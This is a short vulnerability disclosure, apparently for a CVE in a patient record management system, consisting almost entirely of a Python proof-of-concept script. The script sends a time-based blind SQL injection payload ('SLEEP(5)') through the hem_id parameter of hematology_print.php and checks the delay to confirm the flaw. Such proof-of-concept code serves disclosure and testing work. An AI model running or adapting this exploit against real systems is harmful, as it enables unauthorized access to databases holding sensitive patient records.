CVE-2026-6005: Patient Record Management System SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://example.com/hematology_print.php" # Malicious payload to test SQL injection # This payload attempts to cause a time-based delay or syntax error to confirm the vulnerability payload = "1' AND SLEEP(5)-- -" params = { "hem_id": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via time-based analysis.") else: print("[-] Vulnerability not confirmed or payload failed.") print(f"Status Code: {response.status_code}") except requests.RequestException as e: print(f"Error: {e}")